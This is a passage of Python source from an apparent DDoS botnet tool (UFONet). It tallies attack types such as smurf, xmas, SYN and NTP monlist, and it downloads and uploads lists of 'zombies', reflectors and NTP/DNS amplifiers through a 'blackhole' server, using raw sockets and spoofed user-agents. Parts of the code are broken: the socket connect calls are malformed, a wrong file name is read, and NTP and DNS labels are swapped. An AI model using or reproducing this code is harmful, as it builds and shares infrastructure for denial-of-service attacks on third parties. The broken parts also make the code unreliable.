     aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats        self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats        data["ufosyn"] = aufosyn        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_spray_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        aspray = data["spray"]        aspray = str(int(aspray) + 1) # add new spray attack to recorded stats        self.total_spray = self.total_spray + 1 # add new spray attack to session stats        data["spray"] = aspray        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_smurf_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        asmurf = data["smurf"]        asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats        self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats        data["smurf"] = asmurf        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_xmas_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        axmas = data["xmas"]        axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats        self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats        data["xmas"] = axmas        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_nuke_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        anuke = data["nuke"]        anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats        self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats        data["nuke"] = anuke        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_tachyon_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        atachyon = data["tachyon"]        atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats        self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats        data["tachyon"] = atachyon        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def update_monlist_stats(self):        stats_json_file = open(self.mothership_stats_file, "r")        data = json.load(stats_json_file)        stats_json_file.close()        amonlist = data["monlist"]        amonlist = str(int(amonlist) + 1) # add new monlist attack to recorded stats        self.total_monlist = self.total_monlist + 1 # add new monlist attack to session stats        data["monlist"] = amonlist        stats_json_file = open(self.mothership_stats_file, "w+")        stats_json_file.write(json.dumps(data))        stats_json_file.close()    def uploading_list(self):        from io import BytesIO        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer        abductions = "botnet/abductions.txt.gz"        troops = "botnet/troops.txt.gz"        robots = "botnet/robots.txt.gz"        drones = "botnet/drones.txt.gz"        reflectors = "botnet/reflectors.txt.gz"        crystals = "botnet/crystals.txt.gz"        warps = "botnet/warps.txt.gz"        if self.options.timeout: # set timeout            try:                timeout = int(self.options.timeout)            except:                timeout = 5         else:            timeout = 5        if timeout < 1:            timeout = 5         try:            print("[AI] Checking integrity of [Blackhole]: "+self.blackhole+"\n")            if self.options.forcessl:                if self.options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)                abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)                troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)                robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)                drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)                reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)                crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)                warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()            else:                if self.options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)                abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)                troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)                robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)                drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)                reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)                crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)                warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()            if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":                print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")                print('-'*12 + '\n')                print("[Error] [AI] Unable to uploading list of [Zombies] to this [Blackhole] [Server] -> [Exiting!]\n")                return            print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")            f_in_abductions = gzip.open(BytesIO(abductions_reply), 'rb')            f_out_abductions = open('botnet/abductions.txt', 'wb')            f_out_abductions.write(f_in_abductions.read())            f_in_abductions.close()            f_out_abductions.close()            num_zombies = 0            with open('botnet/abductions.txt') as f:                for _ in f:                    num_zombies = num_zombies + 1            print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies))            f_in_robots = gzip.open(BytesIO(robots_reply), 'rb')            f_out_robots = open('botnet/robots.txt', 'wb')            f_out_robots.write(f_in_robots.read())            f_in_robots.close()            f_out_robots.close()            num_robots = 0            with open('botnet/robots.txt') as f:                for _ in f:                    num_robots = num_robots + 1            print("[Info] [Droids] on [Blackhole] : "+ str(num_robots))            f_in_troops = gzip.open(BytesIO(troops_reply), 'rb')            f_out_troops = open('botnet/troops.txt', 'wb')            f_out_troops.write(f_in_troops.read())            f_in_troops.close()            f_out_troops.close()            num_aliens = 0            with open('botnet/aliens.txt') as f:                for _ in f:                    num_aliens = num_aliens + 1            print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens))            f_in_drones = gzip.open(BytesIO(drones_reply), 'rb')            f_out_drones = open('botnet/drones.txt', 'wb')            f_out_drones.write(f_in_drones.read())            f_in_drones.close()            f_out_drones.close()            num_drones = 0            with open('botnet/drones.txt') as f:                for _ in f:                    num_drones = num_drones + 1            print("[Info] [UCAVs] on [Blackhole] : "+ str(num_drones))            f_in_reflectors = gzip.open(BytesIO(reflectors_reply), 'rb')            f_out_reflectors = open('botnet/reflectors.txt', 'wb')            f_out_reflectors.write(f_in_reflectors.read())            f_in_reflectors.close()            f_out_reflectors.close()            num_reflectors = 0            with open('botnet/reflectors.txt') as f:                for _ in f:                    num_reflectors = num_reflectors + 1            print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors))            f_in_crystals = gzip.open(BytesIO(crystals_reply), 'rb')            f_out_crystals = open('botnet/crystals.txt', 'wb')            f_out_crystals.write(f_in_crystals.read())            f_in_crystals.close()            f_out_crystals.close()            num_crystals = 0            with open('botnet/crystals.txt') as f:                for _ in f:                    num_crystals = num_crystals + 1            print("[Info] [NTPs] on [Blackhole]   : "+ str(num_crystals))            f_in_warps = gzip.open(BytesIO(warps_reply), 'rb')            f_out_warps = open('botnet/warps.txt', 'wb')            f_out_warps.write(f_in_warps.read())            f_in_warps.close()            f_out_warps.close()            num_warps = 0            with open('botnet/warps.txt') as f:                for _ in f:                    num_warps = num_warps + 1            print("[Info] [DNSs] on [Blackhole]   : "+ str(num_warps))            print('-'*12 + '\n')            if not self.options.forceyes:                update_reply = input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)")                print('-'*25)            else:                update_reply = "Y"            if update_reply == "n" or update_reply == "N":                os.remove('botnet/abductions.txt') # remove abductions file                os.remove('botnet/troops.txt') # remove troops file                os.remove('botnet/robots.txt') # remove robots file                os.remove('botnet/drones.txt') # remove drones file                os.remove('botnet/reflectors.txt') # remove reflectors file                os.remove('botnet/crystals.txt') # remove crystals file                os.remove('botnet/warps.txt') # remove warps file                print("\n[Info] [AI] [Control] Aborting uploading process and cleaning temporal files... -> [Exiting!]\n")                return            else:                print("\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n") # only upload valid zombies                print('='*35)                zombies = self.extract_zombies()                if not zombies:                    return                test = self.testing(zombies)                zombies_community = []                zombies_added = 0                f = open('botnet/abductions.txt')                abductions = f.readlines()                abductions = [abduction.strip() for abduction in abductions]                f.close()                fz = open(self.zombies_file)                zombies = fz.readlines()                zombies = [zombie.strip() for zombie in zombies]                fz.close()                for zombie in zombies:                    if zombie not in abductions:                        zombies_community.append(zombie)                        zombies_added = zombies_added + 1                    else:                        pass                print("[Info] [AI] New [Zombies] found: " + str(zombies_added))                aliens = self.extract_aliens()                if not aliens:                    return                aliens_community = []                aliens_added = 0                f = open('botnet/troops.txt')                troops = f.readlines()                troops = [troop.strip() for troop in troops]                f.close()                fz = open(self.aliens_file)                aliens = fz.readlines()                aliens = [alien.strip() for alien in aliens]                fz.close()                for alien in aliens:                    if alien not in troops:                        aliens_community.append(alien)                        aliens_added = aliens_added + 1                    else:                        pass                print("[Info] [AI] New [Aliens] found : " + str(aliens_added))                droids = self.extract_droids()                if not droids:                    return                droids_community = []                droids_added = 0                f = open('botnet/robots.txt')                robots = f.readlines()                robots = [robot.strip() for robot in robots]                f.close()                fz = open(self.droids_file)                droids = fz.readlines()                droids = [droid.strip() for droid in droids]                fz.close()                for droid in droids:                    if droid not in robots:                        droids_community.append(droid)                        droids_added = droids_added + 1                    else:                        pass                print("[Info] [AI] New [Droids] found : " + str(droids_added))                ucavs = self.extract_ucavs()                if not ucavs:                    return                ucavs_community = []                ucavs_added = 0                f = open('botnet/drones.txt')                drones = f.readlines()                drones = [drone.strip() for drone in drones]                f.close()                fz = open(self.ucavs_file)                ucavs = fz.readlines()                ucavs = [ucav.strip() for ucav in ucavs]                fz.close()                for ucav in ucavs:                    if ucav not in drones:                        ucavs_community.append(ucav)                        ucavs_added = ucavs_added + 1                    else:                        pass                print("[Info] [AI] New [UCAVs] found  : " + str(ucavs_added))                rpcs = self.extract_rpcs()                if not rpcs:                    return                rpcs_community = []                rpcs_added = 0                f = open('botnet/reflectors.txt')                reflectors = f.readlines()                reflectors = [reflector.strip() for reflector in reflectors]                f.close()                fz = open(self.rpcs_file)                rpcs = fz.readlines()                rpcs = [rpc.strip() for rpc in rpcs]                fz.close()                for rpc in rpcs:                    if rpc not in reflectors:                        rpcs_community.append(rpc)                        rpcs_added = rpcs_added + 1                    else:                        pass                print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added))                ntps = self.extract_ntps()                if not ntps:                    return                ntps_community = []                ntps_added = 0                f = open('botnet/crystals.txt')                crystals = f.readlines()                crystals = [crystal.strip() for crystal in crystals]                f.close()                fz = open(self.ntps_file)                ntps = fz.readlines()                ntps = [ntp.strip() for ntp in ntps]                fz.close()                for ntp in ntps:                    if ntp not in crystals:                        ntps_community.append(ntp)                        ntps_added = ntps_added + 1                    else:                        pass                print("[Info] [AI] New [NTPs] found   : " + str(ntps_added))                dnss = self.extract_dnss()                if not dnss:                    return                dnss_community = []                dnss_added = 0                f = open('botnet/warps.txt')                warps = f.readlines()                warps = [warp.strip() for warp in warps]                f.close()                fz = open(self.dnss_file)                dnss = fz.readlines()                dnss = [dns.strip() for dns in dnss]                fz.close()                for dns in dnss:                    if dns not in warps:                        dnss_community.append(dns)                        dnss_added = dnss_added + 1                    else:                        pass                print("[Info] [AI] New [DNSs] found   : " + str(dnss_added))                print('-'*12 + '\n')                if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0: # not any zombie                    os.remove('botnet/abductions.txt') # remove abductions file                    os.remove('botnet/troops.txt') # remove troops file                    os.remove('botnet/robots.txt') # remove robots file                    os.remove('botnet/drones.txt') # remove ucavs file                    os.remove('botnet/reflectors.txt') # remove rpcs file                    os.remove('botnet/crystals.txt') # remove crystals file                    os.remove('botnet/warps.txt') # remove warps file                    print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")                    return                else:                    fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')                    for zombie in zombies_community:                        fc.write(zombie.strip()+"\n")                    fc.close()                    os.remove('botnet/abductions.txt') # remove abductions file                    fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')                    for alien in aliens_community:                        fc.write(alien.strip()+"\n")                    fc.close()                    os.remove('botnet/troops.txt') # remove troops file                    fc = gzip.open('botnet/community_droids.txt.gz', 'wb')                    for droid in droids_community:                        fc.write(droid.strip()+"\n")                    fc.close()                    os.remove('botnet/robots.txt') # remove robots file                    fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')                    for ucav in ucavs_community:                        fc.write(ucav.strip()+"\n")                    fc.close()                    os.remove('botnet/drones.txt') # remove drones file                    fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')                    for rpc in rpcs_community:                        fc.write(rpc.strip()+"\n")                    fc.close()                    os.remove('botnet/reflectors.txt') # remove reflectors file                    fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')                    for ntp in ntps_community:                        fc.write(ntp.strip()+"\n")                    fc.close()                    os.remove('botnet/crystals.txt') # remove crystals file                    fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')                    for dns in dnss_community:                        fc.write(dns.strip()+"\n")                    fc.close()                    os.remove('botnet/warps.txt') # remove warps file                    print("[Info] [AI] Starting to upload new [Zombies]...\n")                    try: # open a socket and send data to the blackhole reciever port                        host = self.blackhole                         cport = 9991                        mport = 9990                        try:                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data                            cs.connect(host, cport)                            cs.send("SEND " + 'community_zombies.txt.gz')                            cs.close()                            f = open('botnet/community_zombies.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer                            time.sleep(1)                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            cs.connect(host, cport)                            cs.send("SEND " + 'community_aliens.txt.gz')                            cs.close()                            f = open('botnet/community_aliens.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer                            time.sleep(1)                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            cs.connect(host, cport)                            cs.send("SEND " + 'community_robots.txt.gz')                            cs.close()                            f = open('botnet/community_droids.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer                            time.sleep(1)                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            cs.connect(host, cport)                            cs.send("SEND " + 'community_ucavs.txt.gz')                            cs.close()                            f = open('botnet/community_ucavs.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer                            time.sleep(1)                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading                            cs.connect(host, cport)                            cs.send("SEND " + 'community_rpcs.txt.gz')                            cs.close()                            f = open('botnet/community_rpcs.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer                            time.sleep(1)                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading                            cs.connect(host, cport)                            cs.send("SEND " + 'community_ntps.txt.gz')                            cs.close()                            f = open('botnet/community_ntps.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer                            time.sleep(1)                            cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading                            cs.connect(host, cport)                            cs.send("SEND " + 'community_dnss.txt.gz')                            cs.close()                            f = open('botnet/community_dnss.txt.gz', "rb")                            data = f.read()                            f.close()                            ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                            ms.connect(host, mport)                            ms.send(data)                            ms.close()                            os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer                            time.sleep(2) # sleep a bit more                            print('-'*12 + '\n')                            print("[Info] [AI] Transfer -> [DONE!]\n")                        except Exception as e:                            print(str(e) + "\n")                    except:                        print('-'*12 + '\n')                        print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")                        return        except:            print('-'*12 + '\n')            print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")            return    def update_gui_data(self):    # download all GUI stream data        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer        if self.options.proxy: # set proxy            self.proxy_transport(self.options.proxy)        if self.options.timeout: # set timeout            try:                timeout = int(self.options.timeout)            except:                timeout = 5         else:            timeout = 5         if timeout < 1:            timeout = 5         if self.options.forcessl:            news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)             news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')            missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)                                     missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')            board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)            board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')            grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)            grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')            wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)            wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')        else:            news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)            news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')            missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)            missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')            board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)            board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')            grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)            grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')            wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)            wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')        f = open(self.news_file, 'w')        f.write(news_reply)        f.close()        f = open(self.missions_file, 'w')        f.write(missions_reply)        f.close()        f = open(self.board_file, 'w')        f.write(board_reply)        f.close()        f = open(self.grid_file, 'w')        f.write(grid_reply)        f.close()        f = open(self.wargames_file, 'w')        f.write(wargames_reply)        f.close()        print('-'*25 + "\n")        print("[Info] [AI] GUI data correctly updated:\n")        if news_reply:            print("[Info] [AI] [News]    : OK!")        if missions_reply:            print("[Info] [AI] [Missions]: OK!")        if board_reply:            print("[Info] [AI] [Board]   : OK!")        if grid_reply:            print("[Info] [AI] [Grid]    : OK!")        if wargames_reply:            print("[Info] [AI] [Wargames]: OK!")        print('-'*25)        print("\n[AI] "+self.exit_msg+"\n")    def downloading_list(self):         # add your mirror to protect/share/distribute... [Zombies]        try:            print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if self.options.timeout: # set timeout                try:                    timeout = int(self.options.timeout)                except:                    timeout = 5             else:                timeout = 5            if timeout < 1:                timeout = 5             if self.options.proxy: # set proxy                self.proxy_transport(self.options.proxy)            if self.options.forcessl:                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)                    abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    abductions_reply = ""                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)                    troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    troops_reply = ""                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)                    robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    robots_reply = ""                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)                    drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    drones_reply = ""                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)                    reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    reflectors_reply = ""                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)                    crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    crystals_reply = ""                try:                    req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)                    warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    warps_reply = ""            else:                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)                    abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    abductions_reply = ""                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)                    troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    troops_reply = ""                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)                    robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    robots_reply = ""                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)                    drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    drones_reply = ""                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)                    reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    reflectors_reply = ""                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)                    crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    crystals_reply = ""                try:                    req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)                    warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()                except:                    warps_reply = ""            if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "":                print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")                print('-'*12 + '\n')                print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")                return            f = open('botnet/abductions.txt.gz', 'wb')            f.write(abductions_reply)            f.close()            f = open('botnet/troops.txt.gz', 'wb')            f.write(troops_reply)            f.close()            f = open('botnet/robots.txt.gz', 'wb')            f.write(robots_reply)            f.close()            f = open('botnet/drones.txt.gz', 'wb')            f.write(drones_reply)            f.close()            f = open('botnet/reflectors.txt.gz', 'wb')            f.write(reflectors_reply)            f.close()            f = open('botnet/crystals.txt.gz', 'wb')            f.write(crystals_reply)            f.close()            f = open('botnet/warps.txt.gz', 'wb')            f.write(warps_reply)            f.close()            print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")        except:            print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")            print('-'*12 + '\n')            print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")            return        print('-'*12 + '\n')        f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')        f_out_abductions = open('botnet/abductions.txt', 'wb')        f_out_abductions.write(f_in_abductions.read())        f_in_abductions.close()        f_out_abductions.close()        os.remove('botnet/abductions.txt.gz') # remove abductions .gz file        f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')        f_out_troops = open('botnet/troops.txt', 'wb')        f_out_troops.write(f_in_troops.read())        f_in_troops.close()        f_out_troops.close()        os.remove('botnet/troops.txt.gz') # remove troops .gz file        f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')        f_out_robots = open('botnet/robots.txt', 'wb')        f_out_robots.write(f_in_robots.read())        f_in_robots.close()        f_out_robots.close()        os.remove('botnet/robots.txt.gz') # remove robots .gz file        f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')        f_out_drones = open('botnet/drones.txt', 'wb')        f_out_drones.write(f_in_drones.read())        f_in_drones.close()        f_out_drones.close()        os.remove('botnet/drones.txt.gz') # remove drones .gz file        f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')        f_out_reflectors = open('botnet/reflectors.txt', 'wb')        f_out_reflectors.write(f_in_reflectors.read())        f_in_reflectors.close()        f_out_reflectors.close()        os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file        f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')        f_out_crystals = open('botnet/crystals.txt', 'wb')        f_out_crystals.write(f_in_crystals.read())        f_in_crystals.close()        f_out_crystals.close()        os.remove('botnet/crystals.txt.gz') # remove crystals .gz file        f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')        f_out_warps = open('botnet/warps.txt', 'wb')        f_out_warps.write(f_in_warps.read())        f_in_warps.close()        f_out_warps.close()        os.remove('botnet/warps.txt.gz') # remove warps .gz file        num_abductions = 0        with open('botnet/abductions.txt') as f:            for _ in f:                num_abductions = num_abductions + 1        print("[Info] Zombies: " + str(num_abductions))        num_robots = 0        with open('botnet/robots.txt') as f:            for _ in f:                num_robots = num_robots + 1        print("[Info] Droids : " + str(num_robots))        num_troops = 0        with open('botnet/troops.txt') as f:            for _ in f:                num_troops = num_troops + 1        print("[Info] Aliens : " + str(num_troops))        num_drones = 0        with open('botnet/drones.txt') as f:            for _ in f:                num_drones = num_drones + 1        print("[Info] UCAVs  : " + str(num_drones))        num_reflectors = 0        with open('botnet/reflectors.txt') as f:            for _ in f:                num_reflectors = num_reflectors + 1        print("[Info] X-RPCs : " + str(num_reflectors))        num_crystals = 0        with open('botnet/crystals.txt') as f:            for _ in f:                num_crystals = num_crystals + 1        print("[Info] DNSs   : " + str(num_crystals))        num_warps = 0        with open('botnet/warps.txt') as f:            for _ in f:                num_warps = num_warps + 1        print("[Info] NTPs   : " + str(num_warps))        total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps        print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))        print('-'*12)        if not self.options.forceyes:            update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")            print('-'*25)        else:            update_reply = "Y"        if update_reply == "n" or update_reply == "N":            os.remove('botnet/abductions.txt') # remove abductions file            os.remove('botnet/troops.txt') # remove troops file            os.remove('botnet/robots.txt') # remove robots file            os.remove('botnet/drones.txt') # remove drones file            os.remove('botnet/reflectors.txt') # remove reflectors file            os.remove('botnet/crystals.txt') # remove crystals file            os.remove('botnet/warps.txt') # remove warps file            print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")            print('-'*25)            print("\n[AI] "+self.exit_msg+"\n")        else:            zombies_ready = []            f = open('botnet/abductions.txt')            abductions = f.readlines()            f.close()            fz = open(self.zombies_file)            zombies = fz.readlines()            fz.close()            for abduction in abductions:                abduction = 